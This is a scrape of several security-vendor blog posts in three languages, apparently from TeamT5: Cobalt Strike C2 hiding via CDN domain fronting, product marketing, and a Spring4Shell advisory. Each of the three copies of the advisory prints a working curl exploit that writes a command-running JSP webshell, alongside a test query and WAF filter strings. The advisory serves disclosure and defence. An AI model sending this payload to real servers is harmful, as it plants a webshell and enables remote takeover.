![202205_blog_pic5.png](https://uploads.teamt5.org/upload/original/202205_blog_pic5.png)
 

Note the difference between this methodology against the previous domain fronting technique - the ```Host``` header may give a false impression that the C2 is being pointed towards ```dl-python.org```. In reality, it is being resolved as ```dl-python.org.global.prod.fastly.net``` when going through Fastly’s services. The service then internally forwards the request to ```my-c2domain.com``` as configured by the threat actor. This trick may lure threat investigators into investigating a completely different domain that may or may not be relevant to the incident.

![202205_blog_pic6.png](https://uploads.teamt5.org/upload/original/202205_blog_pic6.png)
 

## Conclusion
In this post, we have covered three ways that threat actors can abuse Cobalt Strike’s flexibility in payload communication: misuse of serverless functions and various abuses of CDN domain fronting. The resilience of Cobalt Strike is something that is beloved (or despised) by many because of this very reason. It is clear that the red-teaming toolkit is not going anywhere anytime soon as more and more creative strategies are discovered and employed.

## References
[1] Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting—Cobalt Strike Research and Development. ➔ [link](https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/)

*Image courtesy of [Pexels](https://www.pexels.com/)

Hiding in Plain Sight: Obscuring C2s by Abusing CDN Services

Cobalt Strikeは、数秒で機能豊富なバックドアを作成することに特化して設計された、定評のあるレッドチーム向けツールキットです。しかしながら、その登場以来、このツールは世界中の脅威アクター（Polaris/MustangPanda、APT32/OceanLotus、サイバー犯罪者など）に多用されています。 Cobalt Strikeの人気の理由は、主に内蔵されている強力なペイロードジェネレータ、ターゲットマシンにビーコンを展開できる柔軟さ、そして最も注目すべきなのが、ターゲットネットワーク内のペイロードトラフィックを偽装できる点にあります。

ここ1年ほどは、サードパーティーのサービスをプロキシとして利用するビーコンが多く出回っています。これらのサードパーティーCDNを利用することで、C2の匿名化が可能となり、検知回避を強化できるため、多くのAPTがこういったサービスを利用し始めています。以下のセクションでは、これらの脅威アクターが使用するテクニックのいくつかを紹介すると共に、こういった悪用された設定を設定するのがいかに簡単かをお見せしようと思います。

## サーバーレス関数
脅威グループが採用しているもう1つのテクニックが、Cloudflare Workersなどのサードパーティサービスを利用する方法です。サーバーレスサービスを利用することで、Cobalt Strikeエンドポイントへのリバースプロキシとなる設定を、お金をかけずに行うことができます。適切に設定することで、これらのサービスを通してさらなる保護レイヤーを形成することができます。ドメインを検索しても、オリジンサーバーではなく、サービスのIPのみが取得されるからです。

![202205_blog_pic1.png](https://uploads.teamt5.org/upload/original/202205_blog_pic1.png)
 

これらのサービスはサブドメインを使って設定されることが多く、脅威アクターは本物のドメインを購入せずに自由に設定することができ、ある程度の説得力のある偽ドメインに設定することもできます。この例では、C2が ```route.moffice365.workers.dev``` に設定されており、トラフィックがMicrosoftサービスに多少関連しているように見せかけています。

![202205_blog_pic2.png](https://uploads.teamt5.org/upload/original/202205_blog_pic2.png)
 

これらのサーバーレス関数は性質上、攻撃の発生源をたどったり、脅威アクターを特定したりすることは極めて困難です。サーバーレスコードはCloudflare上にのみ保存され、Cloudflareサーバー上で実行されるため、C2インフラを特定することは現実的に不可能です。

## CDNを介したドメインフロンティング


ドメインフロンティングとは、よく認知されたサービスやドメインにデータを潜ませることでトラフィックを偽装しようとするテクニックです。つまり、先ほどのテクニックと同様に、サービスを停止させたり、内部のリクエストを調べたりすることなくドメインフロンティングをブロックすることは現実的に不可能です。実は、Cobalt Strikeを提供するHelpSystemsが、2017年にCloudFrontを使用したCobalt Strikeのドメインフロンティングに関する記事を書いています[1]。

![202205_blog_pic3.png](https://uploads.teamt5.org/upload/original/202205_blog_pic3.png)
 

原則的に、一部のウェブサイトは、CloudFrontなどのCDNを採用して、ウェブサイト上にアセットを配信しています。通常は、ホストヘッダーがリクエストの行き先を決定し、このヘッダーはウェブサイトによって割り当てられます。しかしながら、この「関数」を悪用することで、ビーコンが特定のドメインに行くようにして、そのドメインにウェブサイトが使用する標準のCDNではなく、こちらで用意したCDNへと行くように指定したホストヘッダーを持たせることができます。HTTPSの場合、リクエスト自体が暗号化されているため、IT管理者がこのリクエストをブロックすることは極めて困難または不可能であり、表面上は、ユーザーが単に信頼できるサイトを訪問しているように見えます。

## 存在しないドメインを使用したドメインフロンティング
しかしながら、次のテクニックでは、少し違う方法をとっています。昨年のある時期に、C2アドレスが ```pypi.python.org``` に設定された、かなり奇妙に見えるCobalt Strikeペイロードを検出しました。Python Foundationが所有するドメインの権利を脅威アクターが取得することは明らかに不可能であり、サービスを悪用できる可能性もほとんどありません。

![202205_blog_pic4.png](https://uploads.teamt5.org/upload/original/202205_blog_pic4.png)
 

では何が目的なのでしょうか？その秘密は、サブドメインを操作するサービスと、ビーコンで指定されているHTTPヘッダーにあることが判明しました。Python Foundationは、同社のサービスのほとんどでFastlyを使用しています。Fastlyでは、リクエスト内で指定されたホストヘッダーを使用して、内部のどのサービスにリクエストをリダイレクトするのかを指定します。例えば、Fastly上に ```dl-python.org``` という名のサービスを作成し、ビーコンのホストヘッダーを ```dl-python.org``` にした場合、Fastlyはその名前のサービスにリクエストを転送します。

![202205_blog_pic5.png](https://uploads.teamt5.org/upload/original/202205_blog_pic5.png)
 

この方法と前述のドメインフロンティングのテクニックとの違いは、C2が ```dl-python.org``` に向けられるという、ホストヘッダーに誤った印象を与える点にあります。実際には、Fastlyのサービスを通すとdl-```python.org.global.prod.fastly.net``` として解決されます。その後このサービスは、脅威アクターが行った設定に従って、内部でリクエストを ```my-c2domain.com``` に転送します。この手口は、脅威調査担当者がインシデントと関係があるかどうかもわからない、まったく別のドメインを調査するようにうまく誘い込む可能性があります。

![202205_blog_pic6.png](https://uploads.teamt5.org/upload/original/202205_blog_pic6.png)
 

## 結論
この記事では、脅威アクターがペイロード通信におけるCobalt Strikeの柔軟性を悪用する際の3つの方法を説明しました。サーバーレス関数の悪用と、CDNドメインフロンティングに対する様々な悪用です。Cobalt Strikeのレジリエンスは、まさにこういった理由から多くの人に気に入られて（あるいは嫌われて）います。ますます多くの創造性に富んだ戦略が発見され、採用される中、レッドチームのためのツールキットはしばらく利用されることになるでしょう。

## 参考文献
[1] Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting—Cobalt Strike Research and Development. （高信頼性リダイレクタとドメインフロンティング - Cobalt Strikeの研究および開発）➔ [リンク](https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/)

*画像のソース: [Pexels](https://www.pexels.com/)

見えるところに潜む攻撃：CDNサービスを悪用したC2の不明瞭化

Threat Intelligence

> 本文重點
新冠肺炎(Covid-19)疫情升溫，本土確診案例增加，企業採取居家辦公(Work From Home)，保護員工健康、維持業務順利營運的同時，也應注意資安健康度。TeamT5 建議企業採用端點偵測回應解決方案(EDR)，保護員工筆電不受駭客入侵!

疫情升溫，公司宣布員工居家辦公(Work From Home)，或是員工分流進公司辦公，這是面對疫情之下的新型態辦公模式，但是這也會衍生出新的資安問題。

### 居家辦公的資安風險
員工在家工作，透過 VPN 連回公司系統，收發電子郵件、存取內部系統、敏感資料，看似尋常的動作，卻有可能因為少了公司網路的防火牆、防毒軟體，或是多人共用電腦，或是因為居家辦公降低警戒心，讓駭客有機可乘攻入員工家用電腦，再藉此進到公司重要系統，竊取機敏資訊、甚至是癱瘓重要服務。

### 居家辦公的資安對策
面對駭客攻擊，企業需要更好的資安保護作法 - 端點防護，透過在端點主機這樣最接近使用者的接觸點，部署防護軟體，持續觀察設備的運行狀況，避免惡意程式從端點入侵至企業主機，造成機密資料外洩，乃至使系統服務中斷。

### 端點防護是什麼?
端點防護有效做法即是使用端點偵測及回應(Endpoint Detection and Response, EDR)解決方案。
這類解決方案指的是透過 AI 人工智慧，辨識可疑的電腦活動，如果有奇怪活動、就把對方擋下，特別是影響各大企業的勒索軟體，如 WannaCry。

我們建議在系統被入侵之前，就用像是疫苗的端點防護工具，加強電腦保護力，偵測可疑的入侵行為，超前部署。

### 最後小提醒
防疫，影響我們的生活習慣、改變了我們的工作模式，不僅是身體的健康，企業也應注意資安健康狀態，在居家辦公、分流上班的同時，達到企業服務客戶的承諾不中斷!

選擇 TeamT5 的 ThreatSonar Anti-Ransomware，可確保檔案不被勒索軟體加密、系統被癱瘓等惡意行為。

<center>
<iframe width="560" height="315" src="https://www.youtube.com/embed/U47G61nO-q4" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
</center>


>關鍵字: 防勒索、居家辦公、混合辦公、遠距工作、居家上班、在家工作、遠距離辦公、Work From Home、WFH、hybrid work

居家辦公的資安風險與防護對策

>- March 30th, 2022 (GMT+8): This alert was published at 18:30 (GMT+8). We will update the alert as soon as we have more details.
- March 31st, 2022 Update: Add Proof Of Concept (PoC) & Self Test Advice
- April 6, 2022 Update: Add CVE number, Official patch


## Executive Summary
On March 29th, 2022, TeamT5’s Cyber Threat Intelligence team was alerted about a RCE 0-day vulnerability in the Spring Framework. While we are still investigating the vulnerability, **our current assessment is that the severity level of this Spring Core RCE 0-Day vulnerability is critical**.

1. Given that Spring is a widely used framework for developing Java applications, we believe this exploit will cause a great impact to many services.
2. The Spring Core RCE 0-day (aka Spring4Shell, SpringShell) exists in the JDK version equal or above 9.0.
3. No official patch was released at the time of our analysis. We strongly recommend all of our partners and clients to review your codebase and take mitigation measures below.

## Spring Core RCE 0-Day Vulnerability Details
![spring vulnerability_pic1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648638423/spring_vulnerability_pic1_fa9c1e327b.png)


|Aspect|Description|
|---|---|
|CVE|No CVE id for this vulnerability at the time of writing. Some have referred the vulnerability as SpringShell.|
|Severity Level|Critical|
|Versions Affected|JDK version above or equal to 9 and derivative framework with ```spring-beans-*.jar``` or ```CachedIntrospectionResults.class``` exists.|
|Proof-of-Concept (PoC)|Proof-of-Concept (PoC) has been released publicly..|
|Patch|No official patch available at the time of writing.|

**From the information gathered, we assess that the impact of this vulnerability is very severe and the severity level is likely to be as high as Log4j vulnerabilities**. The Spring Framework is one of the most popular and lightweight application framework for the Java platform. It is widely used by lots of companies and organizations for their internet-facing services. This means that every Java-based product or web service is affected by the scope of the vulnerability.

The SpringShell 0-Day Vulnerability is a Remote Code Execution (RCE) vulnerability. According to public information, a successful exploitation would enable the threat actors to have Arbitrary File Upload privilege.

TeamT5 will keep our partners and clients updated on the information about this vulnerability. Our partners and clients can rely on TeamT5’s solutions, ThreatVision and ThreatSonar, for protection from future attacks.

## PoC
There are some POC (Proof of Concept) released. The execution is below.
 
Payload:
 
```
curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8080/vulnerable-1.0.0.0/app
```


Execution screenshot
![spring_update_pic1.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721634/spring_update_pic1_84fa3ea5fb.jpg)

In a website using Spring framework, we can send certain payload to a path related to the Spring Framework (see below picture). This action allows us to write document with arbitrary path to achieve RCE (Remote Code Execution) attack. Picture above shows the result.
![spring_update_pic2.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721763/spring_update_pic2_c9326dfbe2.jpg)

## How to Test Whether My Service is Affected?
In a website using Spring Framework, sending the following query to a Spring Framework related tests whether the website is vulnerable or not (see below picture).

Query for testing is below -
 
```curl -v host:port/path?class.module.classLoader.URLs%5B0%5D=0```

Picture below shows the result. If it responds with HTTP Status 400, the website might be vulnerable to this exploit.
![spring_update_pic3.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721764/spring_update_pic3_24a8883e53.jpg)


## Mitigation
### **1. Check JDK version number**

To check JDK version number, run ```java -version``` command to check the running JDK version on the server of your organization system.

![spring vulnerability_pic2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648723773/spring_vulnerability_pic2_e20563e16c.jpg)




- If the version number is below or equal to 8, it is not affected by the vulnerability.
- If the version number is above or equal to 9, the vulnerability exists. Please apply temporary measure for protection.

### **2. Temporary measure for protection: WAF protection**

There is no official patch available at the time of writing. We strongly suggest you use the temporary measure (WAF protection) and pay attention to the release of official patches.

**WAF protection**

On web application firewall (WAF), implement rule filtering for the following strings:

- ```class.*```, ```Class.*```, ```*.class.*```, ```*.Class.*```

## Reference
- Critical Exploit Alert: Spring RCE 0day 
漏洞情报 | Spring RCE 0day高危漏洞预警 
https://www.freebuf.com/vuls/326627.html

- SpringShell: Spring Core RCE 0-day Vulnerability 
https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

- Randori Attack Team on Twitter: "The following non-malicious request can be used to test susceptibility to the @springframework 0day RCE.
https://twitter.com/RandoriAttack/status/1509298490106593283

> Keywords: Spring4Shell, SpringShell, Spring, zeroday vulnerability, 0-day vulnerability, remote control execution vulnerability, JAVA

【TeamT5 Flash Alert】Spring Core RCE 0-Day Vulnerability

>- 2022 年 3 月 30 日 18:30（GMT+8）: 告警通知發佈
- 2022 年 3 月 31 日 更新： 新增 Proof Of Concept (POC) 及自我檢測方式
- 2022 年 4 月 6 日 更新：CVE 編號、官方 Patch 方式- 2022 年 3 月 31 日 更新： 新增 Proof Of Concept (POC) 及自我檢測方式
- 2022 年 4 月 6 日 更新：CVE 編號、官方 Patch 方式


## 重點摘要
2022 年 3 月 29 日，TeamT5 的網路情資團隊收到有關 Spring 框架的 RCE 零時漏洞告警通知。目前我們仍在持續調查該漏洞，依據現有的資訊來看，**我們評估此漏洞的危險級別為極度嚴峻**。

1. 基於 Spring 框架在開發 Java 應用上的泛用程度，此漏洞恐會對於許多服務造成危害。
2. Spring Core RCE 零日漏洞（或稱 SpringShell、Spring4Shell）存在於 JDK 9.0 或以上的版本。
3. 截至分析當下，官方仍未釋出正式的修補程式，我們強烈建議所有的合作夥伴與客戶務必檢視自己的程式碼庫並採取以下緩解措施。

## 具體細節
![spring vulnerability_pic1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648638423/spring_vulnerability_pic1_fa9c1e327b.png)

|面向|描述|
|---|---|
|公共漏洞與暴露（CVE）|截至撰寫當下，此漏洞仍未取得 CVE 編號|
|危險級別|極度嚴峻|
|影響版本|JDK 9.0 或以上的版本以及有使用到衍生框架 ```spring-beans-*.jar```，或存在```CachedIntrospectionResults.class```|
|概念驗證（PoC）|概念驗證（PoC） 已有釋出|
|修補程式|截至撰寫當下，尚未有官方正式的修補程式|

**根據現有的資訊來觀察，我們評估此漏洞的衝擊程度將十分嚴重，而其危險級別很可能近似於 Log4j 漏洞**。Spring 框架是 Java 平台上最廣受歡迎的輕量應用框架，許多公司和組織皆有在其網際網路對向服務（internet-facing service）中採用此框架。這意謂所有應用 Java 的產品或網頁服務都可能受此漏洞影響。

SpringShell 是一個遠端執行程式碼（RCE）漏洞。根據公開資訊指出，威脅行動者一旦成功利用該漏洞，便能取得任意上傳檔案的權限。

TeamT5 會持續為我們的合作夥伴與客戶更新此漏洞的相關資訊。我們的合作夥伴與客戶可以倚靠 TeamT5 的解決方案 ThreatVision 和 ThreatSonar 以抵禦潛在的攻擊。

## PoC
網路上已有不少針對此漏洞利用方法釋出，實際執行結果如下：
 
Payload:
 
```
curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8080/vulnerable-1.0.0.0/app
```

 
實際執行結果圖：
![spring_update_pic1.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721634/spring_update_pic1_84fa3ea5fb.jpg)


在 Spring 的網站程式，對 Spring 對應的路徑(參考下圖)，送入特定的 payload，能寫入任意路徑文件，可透過上傳 Webshell 來達到任意指令執行(RCE)，上圖是執行 payload 後，確實產生檔案。
![spring_update_pic2.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721763/spring_update_pic2_c9326dfbe2.jpg)

## 如何檢測我的服務是否受到影響？ 
在 Spring 的網站程式，對 Spring 對應的路徑，送入特定的 Query，能測試網站是否存在弱點。

檢測 Query 如下：
 
```curl -v host:port/path?class.module.classLoader.URLs%5B0%5D=0```

下圖為執行 Query 後，如果回應 HTTP Status 400，很可能是有弱點的。
![spring_update_pic3.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721764/spring_update_pic3_24a8883e53.jpg)



## 緩解措施
### **1.確認 JDK 版本代號**

如要確認 JDK 版本代號，請於貴組織系統的伺服器上執行 java -version 指令以確認運行中的版本代號。
![spring vulnerability_pic2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648723773/spring_vulnerability_pic2_e20563e16c.jpg)



- 如果版本代號低於或等於 8，將不會受此漏洞影響。
- 如果版本代號高於或等於 9，則漏洞存在。請參照以下臨時方案抵禦潛在的攻擊。

### **2. 臨時方案：WAF 阻擋**

截至撰寫當下，官方並無發布正式的修補程式。我們強烈建議您採用臨時方案（WAF 防護）並留意官方修補程式釋出的通知。

**WAF 阻擋**

在網頁應用防火牆（WAF）中置入規則過濾以下字串

- ```class.*```, ```Class.*```, ```*.class.*```, ```*.Class.*```

## Reference
- Critical Exploit Alert: Spring RCE 0day 
漏洞情报 | Spring RCE 0day高危漏洞预警 
https://www.freebuf.com/vuls/326627.html

- SpringShell: Spring Core RCE 0-day Vulnerability 
https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

- Randori Attack Team on Twitter: "The following non-malicious request can be used to test susceptibility to the @springframework 0day RCE.
https://twitter.com/RandoriAttack/status/1509298490106593283

> 關鍵字: Spring4Shell, SpringShell, Spring, zeroday vulnerability, 0-day vulnerability, remote control execution vulnerability, JAVA

【TeamT5 資安即時快訊】Spring Core RCE 零日漏洞

>- 2022年3月30日 18:30（GMT+8）：アラート通知の発行
 - 2022年3月31日 更新：Proof Of Concept（POC）および自己検出方法を追加
 - 2022年4月6日 更新：CVE識別番号、公式Patchの方法- 2022年3月31日 更新：Proof Of Concept（POC）および自己検出方法を追加


## ポイントの概要
2022年3月29日、TeamT5のサイバーインテリジェンスチームは、SpringフレームワークのRCEに関するゼロデイ脆弱性のアラートを受信しました。現在も当社は脆弱性の調査を続けていますが、これまでの情報に基づき、**当社はこの脆弱性の危険性は非常に深刻であると評価しています**。

1. Springフレームワークは、Javaアプリケーションの開発において幅広く使用されていることから、この脆弱性はさまざまなサービスに危害を及ぼす可能性があります。
2. Spring Core RCEゼロデイ脆弱性（別名SpringShell、Spring4Shell）は、JDK 9.0以降のバージョンに存在しています。
3. これまでの解析時点で公式の修正パッチは公開されていません。当社は、すべての業務提携パートナーおよび顧客が自身のコードライブラリをチェックし、以下の緩和策を講じることを強くおすすめします。


## 具体的な内容
![spring vulnerability_pic1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648638423/spring_vulnerability_pic1_fa9c1e327b.png)

|方向性|説明|
|---|---|
|一般的な脆弱性と露出（CVE）|本稿執筆時点でこの脆弱性はCVE識別番号を取得していない。|
|リスクレベル|非常に深刻|
|影響を受けるバージョン|JDK 9.0以降のバージョン、派生したフレームワーク```spring-beans-*.jar```を使用している、```CachedIntrospectionResults.class```が存在している場合|
|概念実証（PoC）|概念実証（PoC）は公開されている|
|修正パッチ|本稿執筆時点で公式の修正パッチは公開されていない|


**これまでの情報に基づいた観察で、当社はこの脆弱性はインパクトが非常に深刻であると評価しており、Log4jの脆弱性に近いリスクレベルになる可能性があります**。Springフレームワークは、Javaプラットフォームで最も人気がある軽量アプリケーションのフレームワークで、多くの企業や組織がインターネット向けのサービス（internet-facing service）で使用しています。これは、Javaを使用している製品やWebページサービスのすべてがこの脆弱性の影響を受ける可能性があることを意味しています。

SpringShellは、リモートコード実行（RCE）攻撃につながる脆弱性です。公開されている情報によると、攻撃者はこの脆弱性の利用を一度成功させるだけで、任意にファイルをアップロードする権限を得ることができます。

TeamT5は、業務提携パートナーおよび顧客向けに、この脆弱性に関する情報を引き続きアップデートしていきます。当社の業務提携パートナーおよび顧客は、TeamT5のソリューション「ThreatVision」と「ThreatSonar」で、潜在的な脅威に対抗することができます。


## PoC
インターネット上では、この脆弱性について多くの利用方法が公開されていますが、実際の実行結果は以下のとおりです：
 
Payload:
 
```
curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8080/vulnerable-1.0.0.0/app
```

 
実際の実行結果：
![spring_update_pic1.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721634/spring_update_pic1_84fa3ea5fb.jpg)


SpringのWebアプリケーションで、Springに対応するパス（下図参照）に特定のpayloadが送信されることで、任意のパスのファイルに書き込みが可能となり、Webshellをアップロードすることで、リモートコード実行（RCE）が可能となります。上の図はpayloadを実行した後に生成されたファイルです。
![spring_update_pic2.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721763/spring_update_pic2_c9326dfbe2.jpg)

## 利用中のサービスが影響を受けているかチェックする方法。
SpringのWebアプリケーションで、Springに対応するパスに、特定のQueryを送信することでWebサイトに脆弱性がないかテストできます。

テストするQueryは以下の通りです：
 
```curl -v host:port/path?class.module.classLoader.URLs%5B0%5D=0```

下図はQueryの実行後で、HTTP Status 400が返ってきた場合、脆弱性が存在する可能性が高いです。
![spring_update_pic3.jpg](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648721764/spring_update_pic3_24a8883e53.jpg)



## 緩和策
### **1.JDKのバージョン番号を確認します。**

JDKのバージョン番号を確認するには、組織のシステムのサーバでjava -versionのコマンドを実行し、使用中のバージョン番号を確認します。
![spring vulnerability_pic2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1648723773/spring_vulnerability_pic2_e20563e16c.jpg)



- バージョン番号が8以前の場合、この脆弱性の影響はありません。
- バージョン番号が9以降の場合、脆弱性が存在します。潜在的な攻撃を防ぐため、以下の一時的な処置をご参照ください。


### **2. 一時的な処置：WAFでブロック**

本稿執筆時点で公式の修正パッチは公開されていません。当社は一時的な処置（WAF保護）を行うほか、公式の修正パッチの公開に注意することを強くおすすめします。

**WAFでブロック**

WAF（Webアプリケーションファイアウォール）に以下の文字列をフィルタリングするルールを追加します。

- ```class.*```, ```Class.*```, ```*.class.*```, ```*.Class.*```

## キーワード
- Critical Exploit Alert: Spring RCE 0day 
漏洞情报 | Spring RCE 0day高危漏洞预警 
https://www.freebuf.com/vuls/326627.html

- SpringShell: Spring Core RCE 0-day Vulnerability 
https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html

- Randori Attack Team on Twitter: "The following non-malicious request can be used to test susceptibility to the @springframework 0day RCE.
https://twitter.com/RandoriAttack/status/1509298490106593283

> キーワード: Spring4Shell, SpringShell, Spring, zeroday vulnerability, 0-day vulnerability, remote control execution vulnerability, JAVA

【TeamT5情報セキュリティ速報】Spring Core RCE ゼロデイ脆弱性

## 什麼是 EDR 、MDR? 

EDR 指的是 Endpoint Detection and Response 端點偵測與回應，透過一套軟體，協助組織單位。MDR 指的是 Managed Detection and Response 威脅偵測應變服務 ，讓組織單位在資安事件發生當下，可透過真人服務，及時、有效處理，避免損失擴大。

## EDR 、MDR 可以如何協助企業防駭?
如果以感冒來說，EDR是溫度計，偵測惡意程式入侵；MDR是再加入醫生問診，對症下藥。兩者完整搭配，才能避免生病症狀加劇。

![MDR_DM_snapshot.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1645519431/MDR_DM_snapshot_9bce55c525.png)

<center>保護企業端點、防禦惡意入侵之完整流程</center>

 
TeamT5 為亞太區首屈一指的威脅情資研究團隊，掌握有心人士最新攻擊動向，提供最新資安威脅資訊與分析，幫助企業及早應變。


 
我們推出的 ThreatSonar Anti-Ransomware 如同溫度計，協助企業偵測惡意程式入侵，預防勒索軟體攻擊；更可進一步透過我們的解決方案掃描、狩獵威脅，協助企業察覺勒索軟體運作的前兆，預防企業員工的筆電等設備被有心人士綁架，甚至導致營運中斷。


 
現在就聯絡我們，打造企業防護力: https://teamt5.org/tw/request-information/


 
*圖片來源: [Pexels](https://www.pexels.com/zh-tw/)

EDR、MDR 跟企業防駭有關嗎?

刻 の 涙 : NT 5.x NDIS 驅動程式後門分析《Daxin x32》

美國 CIO 雜誌於2021年度回顧中，點名勒索軟體是年度最主要的資安威脅之一，若只統計銀行業遭受的勒索攻擊，2021的受攻擊次數就已達130倍的成長。

## 企業面臨的勒索軟體威脅

綜觀新聞報導，若企業受到勒索軟體攻擊，會有3大問題:
1.重要檔案被加密: 企業財務、研發等資料被鎖住，無法存取。
2.系統被破壞: 系統營運中斷，影響企業日常運作、客戶服務等。
3.勒索軟體擴散: 該類軟體執行後，可橫向擴散，進入各個保護機制不佳的系統，如從企業資源規劃管理系統 (ERP) ，跳到研發文件管理系統。

## 企業防勒索軟體工具的選擇重點

CIO 雜誌指出唯一可靠的預防方式為採用適當的工具，持續監控和評估電腦的承受度。

TeamT5 精心研發的 ThreatSonar Anti-Ransomware，即是針對勒索軟體攻擊的有效防護工具，避免前述3大問題，更有誘捕機制，使勒索軟體攻擊到假檔案，並同時中斷惡意程式運行、阻止檔案被加密。

今天就聯絡我們，看產品 Demo: https://teamt5.org/tw/request-information/


*參考資料: [Looking back to look ahead: Anticipating the cybersecurity landscape in 2022 (cio.com)](https://www.cio.com/article/301513/looking-back-to-look-ahead-anticipating-the-cybersecurity-landscape-in-2022.html)


*圖片來源: [Pixabay](https://pixabay.com/photos/teamwork-cooperation-brainstorming-3213924/)


企業需要哪種防勒索軟體工具?

米国の CIO 雑誌が2021年度を振り返る中で、ランサムウェアが当該年度における最も主要な情報セキュリティ脅威の一つとして挙げた。銀行業界が被害を受けたランサムウェア攻撃だけに絞って統計を見た場合、2021年の攻撃回数は130倍もの増加を遂げている。

## 企業が直面するランサムウェアの脅威

ニュース報道を総括すると、企業がランサムウェアの攻撃を受けた時、3つの問題がある。
1. 重要なファイルの暗号化：企業財務、研究開発等のデータがロックされ、アクセスできない。
2. システムの破壊：システム運用が中断され、企業の日常業務や顧客サービス等に影響する。
3. ランサムウェアの拡散：これらのソフトウェアが実行されるとラテラルムーブメントによって、企業のリソースプランニング管理システム（ERP）や、研究開発ドキュメントの管理システムに至るまで、保護体系が不十分なシステムに侵入する。

## 企業のランサムウェア防御ツール選択における重要点

CIO 雑誌は、これらを防ぐために唯一信頼できる方法は、適切なツールを使用して持続的に PC の許容度をモニタリングおよび評価することだと指摘している。

TeamT5 が開発した ThreatSonar Anti-Ransomware はランサムウェア攻撃に対する効果的な防御ツールであり、前述した3つの問題を回避し、おびき寄せシステムによってランサムウェアの攻撃を偽のファイルに対して行わせると同時に、悪意のあるプログラムの実行を中断してファイルの暗号化を阻止することができる。

ぜひ当社にご連絡いただき、製品 Demo をご覧ください：https://teamt5.org/tw/request-information/
 
 
 
*参考資料: [Looking back to look ahead: Anticipating the cybersecurity landscape in 2022 (cio.com)](https://www.cio.com/article/301513/looking-back-to-look-ahead-anticipating-the-cybersecurity-landscape-in-2022.html)


*圖片來源: [Pixabay](https://pixabay.com/photos/teamwork-cooperation-brainstorming-3213924/)

企業にはどのようなランサムウェア防御ツールが必要か？

IT 團隊掌管 TeamT5 各種系統與設備，維護每日正常運作。負責人 kerr 和小編們分享團隊的工作日常，邀請優秀人才一同加入!


## IT 系統工程師平常在做什麼?
kerr: 
IT 團隊已完善網路及系統架構及服務，並整合各類系統，每日重要任務即是監控並優化系統管理、作業流程，確保一切正常運作。

### TeamT5 的 IT 系統工程師跟其他公司有什麼不同的地方?
kerr: 
重點在於系統維運的穩定性與安全性 IT 系統。
維運部份主要是即時的監控設備、服務和資料庫，設定告警規則及調整告警訊息等級區分，虛擬化管理及建立持續整合/部署(CI/CD)流程，資料中心建置及災難還原。
安全性部分則是時常確認是否近期有重大資安漏洞(CVE)，降低內部服務的資訊安全風險。

### 描述你感受到的 TeamT5 團隊風格、文化是? 
kerr: 
